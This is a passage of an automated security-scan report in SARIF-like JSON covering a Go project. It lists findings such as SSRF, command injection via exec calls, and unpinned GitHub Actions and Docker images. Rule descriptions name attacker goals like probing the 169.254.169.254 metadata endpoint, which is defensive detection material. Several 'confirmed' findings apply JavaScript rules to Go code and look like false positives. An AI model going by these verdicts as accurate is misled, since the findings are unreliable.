"verdict": "confirmed", "isResolved": false, "reason": "Credential-bearing variable appears to be printed or logged", "evidence": {"match": "logger.WarnContext(bgCtx, \"could not generate TUI magic token\", \"err\", err)", "reason": "Credential-bearing variable appears to be printed or logged", "rule_id": "SEC020", "scanner": "repobility-threat-engine", "confidence": 0.85, "correlation_key": "secret|internal/server/run.go|9|logger.warncontext bgctx could not generate tui magic token err err"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/server/run.go"}, "region": {"startLine": 94}}}]}, {"ruleId": "SEC093", "level": "error", "message": {"text": "[SEC093] Go: exec.Command with non-literal: exec.Command(<var>) \u2014 variable command name allows command injection. Ported from gosec G204 (Apache-2.0)."}, "properties": {"repobilityId": 113363, "scanner": "repobility-threat-engine", "fingerprint": "046522625c9a6349c12bfc5a89a0ca1b90bf4d2f016b2997c98e39f2c5335324", "category": "quality", "severity": "high", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"match": "exec.CommandContext(ctx,", "reason": "Pattern matched with no mitigating context found", "rule_id": "SEC093", "scanner": "repobility-threat-engine", "confidence": 1.0, "correlation_key": "fp|046522625c9a6349c12bfc5a89a0ca1b90bf4d2f016b2997c98e39f2c5335324"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/isolation/image.go"}, "region": {"startLine": 41}}}]}, {"ruleId": "SEC093", "level": "error", "message": {"text": "[SEC093] Go: exec.Command with non-literal: exec.Command(<var>) \u2014 variable command name allows command injection. Ported from gosec G204 (Apache-2.0)."}, "properties": {"repobilityId": 113362, "scanner": "repobility-threat-engine", "fingerprint": "bbde7c8662b79a671e68262b276951e825f5d2c1eb23fd98ec5bf536a8f4c6e0", "category": "quality", "severity": "high", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"match": "exec.CommandContext(ctx,", "reason": "Pattern matched with no mitigating context found", "rule_id": "SEC093", "scanner": "repobility-threat-engine", "confidence": 1.0, "correlation_key": "fp|bbde7c8662b79a671e68262b276951e825f5d2c1eb23fd98ec5bf536a8f4c6e0"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/isolation/holder.go"}, "region": {"startLine": 68}}}]}, {"ruleId": "SEC093", "level": "error", "message": {"text": "[SEC093] Go: exec.Command with non-literal: exec.Command(<var>) \u2014 variable command name allows command injection. Ported from gosec G204 (Apache-2.0)."}, "properties": {"repobilityId": 113361, "scanner": "repobility-threat-engine", "fingerprint": "465904d7c12339ffbf35a7d76cac4fe596ea175c9370b0c9fd1bd96fdaeaade4", "category": "quality", "severity": "high", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"match": "exec.Command(exe,", "reason": "Pattern matched with no mitigating context found", "rule_id": "SEC093", "scanner": "repobility-threat-engine", "confidence": 1.0, "correlation_key": "fp|465904d7c12339ffbf35a7d76cac4fe596ea175c9370b0c9fd1bd96fdaeaade4"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/clawvisorcli/cmd_proxy_expose.go"}, "region": {"startLine": 168}}}]}, {"ruleId": "SEC128", "level": "error", "message": {"text": "[SEC128] Async function without await \u2014 fire-and-forget Promise (AI mistake): Async call invoked without `await` returns an unhandled Promise. The outer function resolves before the inner work completes \u2014 DB writes lost, emails not sent, race conditions. This is one of the top-3 errors AI coders make: they understand async-shape but drop the await keyword when chaining multiple ops. Surfaces as flaky tests or silently dropped data in production."}, "properties": {"repobilityId": 113354, "scanner": "repobility-threat-engine", "fingerprint": "cd073158fcae5bca4933f3c79bfa8a43d1247e76578f59144fd6313183f2f480", "category": "quality", "severity": "high", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"match": "n.pairings.Delete(key)", "reason": "Pattern matched with no mitigating context found", "rule_id": "SEC128", "scanner": "repobility-threat-engine", "confidence": 1.0, "correlation_key": "fp|cd073158fcae5bca4933f3c79bfa8a43d1247e76578f59144fd6313183f2f480"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/notify/telegram/pairing.go"}, "region": {"startLine": 102}}}]}, {"ruleId": "SEC128", "level": "error", "message": {"text": "[SEC128] Async function without await \u2014 fire-and-forget Promise (AI mistake): Async call invoked without `await` returns an unhandled Promise. The outer function resolves before the inner work completes \u2014 DB writes lost, emails not sent, race conditions. This is one of the top-3 errors AI coders make: they understand async-shape but drop the await keyword when chaining multiple ops. Surfaces as flaky tests or silently dropped data in production."}, "properties": {"repobilityId": 113353, "scanner": "repobility-threat-engine", "fingerprint": "5a285fa4423e3987faa4b4d94b25d4c743d59e23c334df3e301fe34a9cc4aecd", "category": "quality", "severity": "high", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"match": "replayCache.Delete(key)", "reason": "Pattern matched with no mitigating context found", "rule_id": "SEC128", "scanner": "repobility-threat-engine", "confidence": 1.0, "correlation_key": "fp|5a285fa4423e3987faa4b4d94b25d4c743d59e23c334df3e301fe34a9cc4aecd"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/api/middleware/device.go"}, "region": {"startLine": 33}}}]}, {"ruleId": "SEC128", "level": "error", "message": {"text": "[SEC128] Async function without await \u2014 fire-and-forget Promise (AI mistake): Async call invoked without `await` returns an unhandled Promise. The outer function resolves before the inner work completes \u2014 DB writes lost, emails not sent, race conditions. This is one of the top-3 errors AI coders make: they understand async-shape but drop the await keyword when chaining multiple ops. Surfaces as flaky tests or silently dropped data in production."}, "properties": {"repobilityId": 113352, "scanner": "repobility-threat-engine", "fingerprint": "f28b2c3ec29415da6cb8abbbcde1324dcee2fbba9f4a7f1a0170589968f786e3", "category": "quality", "severity": "high", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"match": "s.deviceFlows.Delete(flowID)", "reason": "Pattern matched with no mitigating context found", "rule_id": "SEC128", "scanner": "repobility-threat-engine", "confidence": 1.0, "correlation_key": "fp|f28b2c3ec29415da6cb8abbbcde1324dcee2fbba9f4a7f1a0170589968f786e3"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/api/handlers/oauth_state_store.go"}, "region": {"startLine": 67}}}]}, {"ruleId": "SEC085", "level": "error", "message": {"text": "[SEC085] JS: child_process.exec with non-literal: child_process.exec with user-derived input enables command injection. Ported from eslint-plugin-security detect-child-process (Apache-2.0)."}, "properties": {"repobilityId": 113350, "scanner": "repobility-threat-engine", "fingerprint": "3838623f1f640ccea892c6b96de9b5b9d5256882335a53b70de836911346c762", "category": "quality", "severity": "high", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"match": "Exec(ctx", "reason": "Pattern matched with no mitigating context found", "rule_id": "SEC085", "scanner": "repobility-threat-engine", "confidence": 1.0, "correlation_key": "fp|3838623f1f640ccea892c6b96de9b5b9d5256882335a53b70de836911346c762"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/groupchat/buffer_redis.go"}, "region": {"startLine": 64}}}]}, {"ruleId": "SEC085", "level": "error", "message": {"text": "[SEC085] JS: child_process.exec with non-literal: child_process.exec with user-derived input enables command injection. Ported from eslint-plugin-security detect-child-process (Apache-2.0)."}, "properties": {"repobilityId": 113349, "scanner": "repobility-threat-engine", "fingerprint": "372e246e5f1b444146fb6fe7ca554db60a79467788ba4d7a3b651d5468f4cece", "category": "quality", "severity": "high", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"match": "Exec(ctx", "reason": "Pattern matched with no mitigating context found", "rule_id": "SEC085", "scanner": "repobility-threat-engine", "confidence": 1.0, "correlation_key": "fp|372e246e5f1b444146fb6fe7ca554db60a79467788ba4d7a3b651d5468f4cece"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/api/handlers/pairing_store_redis.go"}, "region": {"startLine": 36}}}]}, {"ruleId": "SEC085", "level": "error", "message": {"text": "[SEC085] JS: child_process.exec with non-literal: child_process.exec with user-derived input enables command injection. Ported from eslint-plugin-security detect-child-process (Apache-2.0)."}, "properties": {"repobilityId": 113348, "scanner": "repobility-threat-engine", "fingerprint": "49c3b04eb1c55098ca44a307b9d13e429b995031167823b0c9be1b4cb42adc25", "category": "quality", "severity": "high", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"match": "Exec(opCtx", "reason": "Pattern matched with no mitigating context found", "rule_id": "SEC085", "scanner": "repobility-threat-engine", "confidence": 1.0, "correlation_key": "fp|49c3b04eb1c55098ca44a307b9d13e429b995031167823b0c9be1b4cb42adc25"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/api/handlers/extraction_tracker_redis.go"}, "region": {"startLine": 44}}}]}, {"ruleId": "MINED033", "level": "error", "message": {"text": "[MINED033] Go Recover Without Log: defer func() { recover() }() that silently swallows panic."}, "properties": {"repobilityId": 113339, "scanner": "repobility-threat-engine", "fingerprint": "0d3a778752eecf8ae950dfa7bf3cacaf9964d154d414eaed202acc077463c620", "category": "quality", "severity": "high", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"mined": true, "mining": {"slug": "go-recover-without-log", "owasp": null, "cwe_ids": ["CWE-755"], "languages": ["go"], "precision": 1.0, "promoted_at": "2026-05-18T14:01:32.347975+00:00", "triaged_in_corpus": 15, "observations_count": 3808, "ai_coder_pattern_id": 109}, "scanner": "repobility-threat-engine", "correlation_key": "fp|0d3a778752eecf8ae950dfa7bf3cacaf9964d154d414eaed202acc077463c620"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/api/middleware/recover.go"}, "region": {"startLine": 16}}}]}, {"ruleId": "MINED033", "level": "error", "message": {"text": "[MINED033] Go Recover Without Log: defer func() { recover() }() that silently swallows panic."}, "properties": {"repobilityId": 113338, "scanner": "repobility-threat-engine", "fingerprint": "9093b45a19389738d635b9b44e522440533f4b63d960a8d524fe2ac8f69ad8fd", "category": "quality", "severity": "high", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"mined": true, "mining": {"slug": "go-recover-without-log", "owasp": null, "cwe_ids": ["CWE-755"], "languages": ["go"], "precision": 1.0, "promoted_at": "2026-05-18T14:01:32.347975+00:00", "triaged_in_corpus": 15, "observations_count": 3808, "ai_coder_pattern_id": 109}, "scanner": "repobility-threat-engine", "correlation_key": "fp|9093b45a19389738d635b9b44e522440533f4b63d960a8d524fe2ac8f69ad8fd"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/api/handlers/gateway_batch.go"}, "region": {"startLine": 115}}}]}, {"ruleId": "MINED033", "level": "error", "message": {"text": "[MINED033] Go Recover Without Log: defer func() { recover() }() that silently swallows panic."}, "properties": {"repobilityId": 113337, "scanner": "repobility-threat-engine", "fingerprint": "a367116474a7f5958a951edee455415f38174ca197fad6bff17b667191465769", "category": "quality", "severity": "high", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"mined": true, "mining": {"slug": "go-recover-without-log", "owasp": null, "cwe_ids": ["CWE-755"], "languages": ["go"], "precision": 1.0, "promoted_at": "2026-05-18T14:01:32.347975+00:00", "triaged_in_corpus": 15, "observations_count": 3808, "ai_coder_pattern_id": 109}, "scanner": "repobility-threat-engine", "correlation_key": "fp|a367116474a7f5958a951edee455415f38174ca197fad6bff17b667191465769"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/api/handlers/async.go"}, "region": {"startLine": 24}}}]}, {"ruleId": "SEC029", "level": "error", "message": {"text": "[SEC029] Server-Side Request Forgery (SSRF) \u2014 outbound HTTP from user input: Outbound HTTP request to a user-controlled URL without allowlist validation. Attackers can probe internal services (169.254.169.254 metadata, internal Kubernetes endpoints, file:// URIs), exfiltrate data, or pivot through your network. SSRF is OWASP A10:2021 and a frequent foothold in cloud breaches."}, "properties": {"repobilityId": 113331, "scanner": "repobility-threat-engine", "fingerprint": "41f916380658a67ed7802793357899feff97a1ab32b3c86073655e74163e6ab7", "category": "ssrf", "severity": "high", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"match": "URL(r", "reason": "Pattern matched with no mitigating context found", "rule_id": "SEC029", "scanner": "repobility-threat-engine", "confidence": 1.0, "correlation_key": "fp|41f916380658a67ed7802793357899feff97a1ab32b3c86073655e74163e6ab7"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/callback/callback.go"}, "region": {"startLine": 81}}}]}, {"ruleId": "SEC029", "level": "error", "message": {"text": "[SEC029] Server-Side Request Forgery (SSRF) \u2014 outbound HTTP from user input: Outbound HTTP request to a user-controlled URL without allowlist validation. Attackers can probe internal services (169.254.169.254 metadata, internal Kubernetes endpoints, file:// URIs), exfiltrate data, or pivot through your network. SSRF is OWASP A10:2021 and a frequent foothold in cloud breaches."}, "properties": {"repobilityId": 113330, "scanner": "repobility-threat-engine", "fingerprint": "32742acd4d49cd1320c011e9cbc00f254d87725e2dfe3120b1bb09d5f934a92d", "category": "ssrf", "severity": "high", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"match": "URL(r", "reason": "Pattern matched with no mitigating context found", "rule_id": "SEC029", "scanner": "repobility-threat-engine", "confidence": 1.0, "correlation_key": "fp|32742acd4d49cd1320c011e9cbc00f254d87725e2dfe3120b1bb09d5f934a92d"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/api/handlers/mobileconfig.go"}, "region": {"startLine": 95}}}]}, {"ruleId": "SEC029", "level": "error", "message": {"text": "[SEC029] Server-Side Request Forgery (SSRF) \u2014 outbound HTTP from user input: Outbound HTTP request to a user-controlled URL without allowlist validation. Attackers can probe internal services (169.254.169.254 metadata, internal Kubernetes endpoints, file:// URIs), exfiltrate data, or pivot through your network. SSRF is OWASP A10:2021 and a frequent foothold in cloud breaches."}, "properties": {"repobilityId": 113329, "scanner": "repobility-threat-engine", "fingerprint": "c5de05fb4baf04091e2e83afb59f8c2f16bdea5896281b079c59e84208fe13d7", "category": "ssrf", "severity": "high", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"match": "url (e", "reason": "Pattern matched with no mitigating context found", "rule_id": "SEC029", "scanner": "repobility-threat-engine", "confidence": 1.0, "correlation_key": "fp|c5de05fb4baf04091e2e83afb59f8c2f16bdea5896281b079c59e84208fe13d7"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/api/handlers/adaptergen.go"}, "region": {"startLine": 51}}}]}, {"ruleId": "MINED016", "level": "error", "message": {"text": "[MINED016] Go Error Ignored: _, err := fn() with err not checked. Go anti-pattern."}, "properties": {"repobilityId": 113321, "scanner": "repobility-threat-engine", "fingerprint": "2dc669cc7c4c7ef2ca4cc0f0c261d1807c5472ba0bbf38baf0a835c25003cdde", "category": "quality", "severity": "high", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"mined": true, "mining": {"slug": "go-error-ignored", "owasp": null, "cwe_ids": ["CWE-754"], "languages": ["go"], "precision": 1.0, "promoted_at": "2026-05-18T14:01:32.347935+00:00", "triaged_in_corpus": 15, "observations_count": 83036, "ai_coder_pattern_id": 107}, "scanner": "repobility-threat-engine", "correlation_key": "fp|2dc669cc7c4c7ef2ca4cc0f0c261d1807c5472ba0bbf38baf0a835c25003cdde"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/clawvisorcli/cmd_tui.go"}, "region": {"startLine": 74}}}]}, {"ruleId": "MINED016", "level": "error", "message": {"text": "[MINED016] Go Error Ignored: _, err := fn() with err not checked. Go anti-pattern."}, "properties": {"repobilityId": 113320, "scanner": "repobility-threat-engine", "fingerprint": "f675d4743ba0ec9a2d74d1e7ac3d53b70f4118e938dfef5b15958ee9cb3807c8", "category": "quality", "severity": "high", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"mined": true, "mining": {"slug": "go-error-ignored", "owasp": null, "cwe_ids": ["CWE-754"], "languages": ["go"], "precision": 1.0, "promoted_at": "2026-05-18T14:01:32.347935+00:00", "triaged_in_corpus": 15, "observations_count": 83036, "ai_coder_pattern_id": 107}, "scanner": "repobility-threat-engine", "correlation_key": "fp|f675d4743ba0ec9a2d74d1e7ac3d53b70f4118e938dfef5b15958ee9cb3807c8"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/api/handlers/restrictions.go"}, "region": {"startLine": 125}}}]}, {"ruleId": "MINED016", "level": "error", "message": {"text": "[MINED016] Go Error Ignored: _, err := fn() with err not checked. Go anti-pattern."}, "properties": {"repobilityId": 113319, "scanner": "repobility-threat-engine", "fingerprint": "c1281838a38976f7f9e053de170922c532bad8d23edcb5e7eb8820eefa466019", "category": "quality", "severity": "high", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"mined": true, "mining": {"slug": "go-error-ignored", "owasp": null, "cwe_ids": ["CWE-754"], "languages": ["go"], "precision": 1.0, "promoted_at": "2026-05-18T14:01:32.347935+00:00", "triaged_in_corpus": 15, "observations_count": 83036, "ai_coder_pattern_id": 107}, "scanner": "repobility-threat-engine", "correlation_key": "fp|c1281838a38976f7f9e053de170922c532bad8d23edcb5e7eb8820eefa466019"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "cmd/clawvisor-local/remote_install.go"}, "region": {"startLine": 283}}}]}, {"ruleId": "MINED118", "level": "error", "message": {"text": "Dockerfile FROM `debian:bookworm-slim` not pinned by digest"}, "properties": {"repobilityId": 113305, "scanner": "repobility-supply-chain", "fingerprint": "d6d7ad67e608f0559b03cdeb2af27b5d5e3ba4110179e352eb188dec19af1436", "category": "dependency", "severity": "high", "confidence": 0.9, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "docker-from-unpinned", "owasp": "A08:2021", "cwe_ids": ["CWE-829"], "languages": ["dockerfile"], "observations_count": 0}, "scanner": "repobility-supply-chain", "correlation_key": "fp|d6d7ad67e608f0559b03cdeb2af27b5d5e3ba4110179e352eb188dec19af1436"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "e2e/install/Dockerfile"}, "region": {"startLine": 30}}}]}, {"ruleId": "MINED118", "level": "error", "message": {"text": "Dockerfile FROM `golang:1.25-bookworm` not pinned by digest"}, "properties": {"repobilityId": 113304, "scanner": "repobility-supply-chain", "fingerprint": "f10bed69ae5dd536774a4c34ba7230761414b04e78a7f8daf9a845e05c7ca82b", "category": "dependency", "severity": "high", "confidence": 0.9, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "docker-from-unpinned", "owasp": "A08:2021", "cwe_ids": ["CWE-829"], "languages": ["dockerfile"], "observations_count": 0}, "scanner": "repobility-supply-chain", "correlation_key": "fp|f10bed69ae5dd536774a4c34ba7230761414b04e78a7f8daf9a845e05c7ca82b"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "e2e/install/Dockerfile"}, "region": {"startLine": 18}}}]}, {"ruleId": "MINED118", "level": "error", "message": {"text": "Dockerfile FROM `node:20-bookworm` not pinned by digest"}, "properties": {"repobilityId": 113303, "scanner": "repobility-supply-chain", "fingerprint": "72392a8fbcdf88b93e963ed6c266eda809770d77ee54d68dccf3ccfc0ccd406b", "category": "dependency", "severity": "high", "confidence": 0.9, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "docker-from-unpinned", "owasp": "A08:2021", "cwe_ids": ["CWE-829"], "languages": ["dockerfile"], "observations_count": 0}, "scanner": "repobility-supply-chain", "correlation_key": "fp|72392a8fbcdf88b93e963ed6c266eda809770d77ee54d68dccf3ccfc0ccd406b"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "e2e/install/Dockerfile"}, "region": {"startLine": 12}}}]}, {"ruleId": "MINED115", "level": "error", "message": {"text": "Action `actions/setup-node` pinned to mutable ref `@v4`"}, "properties": {"repobilityId": 113302, "scanner": "repobility-supply-chain", "fingerprint": "489ea66924fce3e384eb8875e9465a8356b3d8439a5924afbdee2e01da2acd2e", "category": "dependency", "severity": "high", "confidence": 0.9, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "gha-mutable-ref", "owasp": "A08:2021", "cwe_ids": ["CWE-829"], "languages": ["yaml"], "observations_count": 0}, "scanner": "repobility-supply-chain", "correlation_key": "fp|489ea66924fce3e384eb8875e9465a8356b3d8439a5924afbdee2e01da2acd2e"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": ".github/workflows/release-binaries.yml"}, "region": {"startLine": 25}}}]}, {"ruleId": "MINED115", "level": "error", "message": {"text": "Action `actions/setup-go` pinned to mutable ref `@v5`"}, "properties": {"repobilityId": 113301, "scanner": "repobility-supply-chain", "fingerprint": "142fb16e99949c5db7a184e01c90cde718dd6878986e5e3d2f10f0176b70fb3f", "category": "dependency", "severity": "high", "confidence": 0.9, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "gha-mutable-ref", "owasp": "A08:2021", "cwe_ids": ["CWE-829"], "languages": ["yaml"], "observations_count": 0}, "scanner": "repobility-supply-chain", "correlation_key": "fp|142fb16e99949c5db7a184e01c90cde718dd6878986e5e3d2f10f0176b70fb3f"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": ".github/workflows/release-binaries.yml"}, "region": {"startLine": 20}}}]}, {"ruleId": "MINED115", "level": "error", "message": {"text": "Action `actions/checkout` pinned to mutable ref `@v4`"}, "properties": {"repobilityId": 113300, "scanner": "repobility-supply-chain", "fingerprint": "c2b3f1057e6f5fd09a1a3ef6e19dfd31e0a3ee2d5c300fb3cf9dd3d6a9a31984", "category": "dependency", "severity": "high", "confidence": 0.9, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "gha-mutable-ref", "owasp": "A08:2021", "cwe_ids": ["CWE-829"], "languages": ["yaml"], "observations_count": 0}, "scanner": "repobility-supply-chain", "correlation_key": "fp|c2b3f1057e6f5fd09a1a3ef6e19dfd31e0a3ee2d5c300fb3cf9dd3d6a9a31984"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": ".github/workflows/release-binaries.yml"}, "region": {"startLine": 17}}}]}, {"ruleId": "MINED115", "level": "error", "message": {"text": "Action `actions/create-github-app-token` pinned to mutable ref `@v1`"}, "properties": {"repobilityId": 113299, "scanner": "repobility-supply-chain", "fingerprint": "6d3fb3ffc062b6a5015813e0e4bba02396b6c73e5dffd1fd6837e2ed5e1db81c", "category": "dependency", "severity": "high", "confidence": 0.9, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "gha-mutable-ref", "owasp": "A08:2021", "cwe_ids": ["CWE-829"], "languages": ["yaml"], "observations_count": 0}, "scanner": "repobility-supply-chain", "correlation_key": "fp|6d3fb3ffc062b6a5015813e0e4bba02396b6c73e5dffd1fd6837e2ed5e1db81c"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": ".github/workflows/publish-skill.yml"}, "region": {"startLine": 115}}}]}, {"ruleId": "MINED115", "level": "error", "message": {"text": "Action `actions/setup-go` pinned to mutable ref `@v5`"}, "properties": {"repobilityId": 113298, "scanner": "repobility-supply-chain", "fingerprint": "8e12e3a4a7f8031e0e81152a5587fe638bdbd0070cb9a785fd32953c50764982", "category": "dependency", "severity": "high", "confidence": 0.9, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "gha-mutable-ref", "owasp": "A08:2021", "cwe_ids": ["CWE-829"], "languages": ["yaml"], "observations_count": 0}, "scanner": "repobility-supply-chain", "correlation_key": "fp|8e12e3a4a7f8031e0e81152a5587fe638bdbd0070cb9a785fd32953c50764982"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": ".github/workflows/publish-skill.yml"}, "region": {"startLine": 108}}}]}, {"ruleId": "MINED115", "level": "error", "message": {"text": "Action `actions/checkout` pinned to mutable ref `@v4`"}, "properties": {"repobilityId": 113297, "scanner": "repobility-supply-chain", "fingerprint": "2d1e1e07b4fcc53223fb6296ea286c039a18a4b018f9820494726530afb813e9", "category": "dependency", "severity": "high", "confidence": 0.9, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "gha-mutable-ref", "owasp": "A08:2021", "cwe_ids": ["CWE-829"], "languages": ["yaml"], "observations_count": 0}, "scanner": "repobility-supply-chain", "correlation_key": "fp|2d1e1e07b4fcc53223fb6296ea286c039a18a4b018f9820494726530afb813e9"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": ".github/workflows/publish-skill.yml"}, "region": {"startLine": 83}}}]}, {"ruleId": "MINED115", "level": "error", "message": {"text": "Action `actions/setup-node` pinned to mutable ref `@v4`"}, "properties": {"repobilityId": 113296, "scanner": "repobility-supply-chain", "fingerprint": "2a5df09694cc6e71f943a0d80f92526baea4c742bacfbf9745f653b8b39511e3", "category": "dependency", "severity": "high", "confidence": 0.9, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "gha-mutable-ref", "owasp": "A08:2021", "cwe_ids": ["CWE-829"], "languages": ["yaml"], "observations_count": 0}, "scanner": "repobility-supply-chain", "correlation_key": "fp|2a5df09694cc6e71f943a0d80f92526baea4c742bacfbf9745f653b8b39511e3"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": ".github/workflows/publish-skill.yml"}, "region": {"startLine": 59}}}]}, {"ruleId": "MINED115", "level": "error", "message": {"text": "Action `actions/setup-go` pinned to mutable ref `@v5`"}, "properties": {"repobilityId": 113295, "scanner": "repobility-supply-chain", "fingerprint": "91aff1580be06402136761a62f8fbe1f87b9cbd3dbade4ee0803f047373188d8", "category": "dependency", "severity": "high", "confidence": 0.9, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "gha-mutable-ref", "owasp": "A08:2021", "cwe_ids": ["CWE-829"], "languages": ["yaml"], "observations_count": 0}, "scanner": "repobility-supply-chain", "correlation_key": "fp|91aff1580be06402136761a62f8fbe1f87b9cbd3dbade4ee0803f047373188d8"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": ".github/workflows/publish-skill.yml"}, "region": {"startLine": 53}}}]}, {"ruleId": "MINED115", "level": "error", "message": {"text": "Action `actions/checkout` pinned to mutable ref `@v4`"}, "properties": {"repobilityId": 113294, "scanner": "repobility-supply-chain", "fingerprint": "178a24bbe91caf1b6caaaa98b39ffa512a10eea87bbea488733e0db6ab34064b", "category": "dependency", "severity": "high", "confidence": 0.9, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "gha-mutable-ref", "owasp": "A08:2021", "cwe_ids": ["CWE-829"], "languages": ["yaml"], "observations_count": 0}, "scanner": "repobility-supply-chain", "correlation_key": "fp|178a24bbe91caf1b6caaaa98b39ffa512a10eea87bbea488733e0db6ab34064b"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": ".github/workflows/publish-skill.yml"}, "region": {"startLine": 28}}}]}, {"ruleId": "MINED115", "level": "error", "message": {"text": "Action `actions/setup-node` pinned to mutable ref `@v4`"}, "properties": {"repobilityId": 113293, "scanner": "repobility-supply-chain", "fingerprint": "c1631dd5e4323f53f5295b998e1db11b98491920bf007098134137d0e727426d", "category": "dependency", "severity": "high", "confidence": 0.9, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "gha-mutable-ref", "owasp": "A08:2021", "cwe_ids": ["CWE-829"], "languages": ["yaml"], "observations_count": 0}, "scanner": "repobility-supply-chain", "correlation_key": "fp|c1631dd5e4323f53f5295b998e1db11b98491920bf007098134137d0e727426d"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": ".github/workflows/ci.yml"}, "region": {"startLine": 46}}}]}, {"ruleId": "MINED115", "level": "error", "message": {"text": "Action `actions/checkout` pinned to mutable ref `@v4`"}, "properties": {"repobilityId": 113292, "scanner": "repobility-supply-chain", "fingerprint": "ab0279b787b7283ae434a546b0fb1ad33fcf0fc67834092e03a5d39b3d25d16d", "category": "dependency", "severity": "high", "confidence": 0.9, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "gha-mutable-ref", "owasp": "A08:2021", "cwe_ids": ["CWE-829"], "languages": ["yaml"], "observations_count": 0}, "scanner": "repobility-supply-chain", "correlation_key": "fp|ab0279b787b7283ae434a546b0fb1ad33fcf0fc67834092e03a5d39b3d25d16d"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": ".github/workflows/ci.yml"}, "region": {"startLine": 45}}}]}, {"ruleId": "MINED115", "level": "error", "message": {"text": "Action `actions/setup-node` pinned to mutable ref `@v4`"}, "properties": 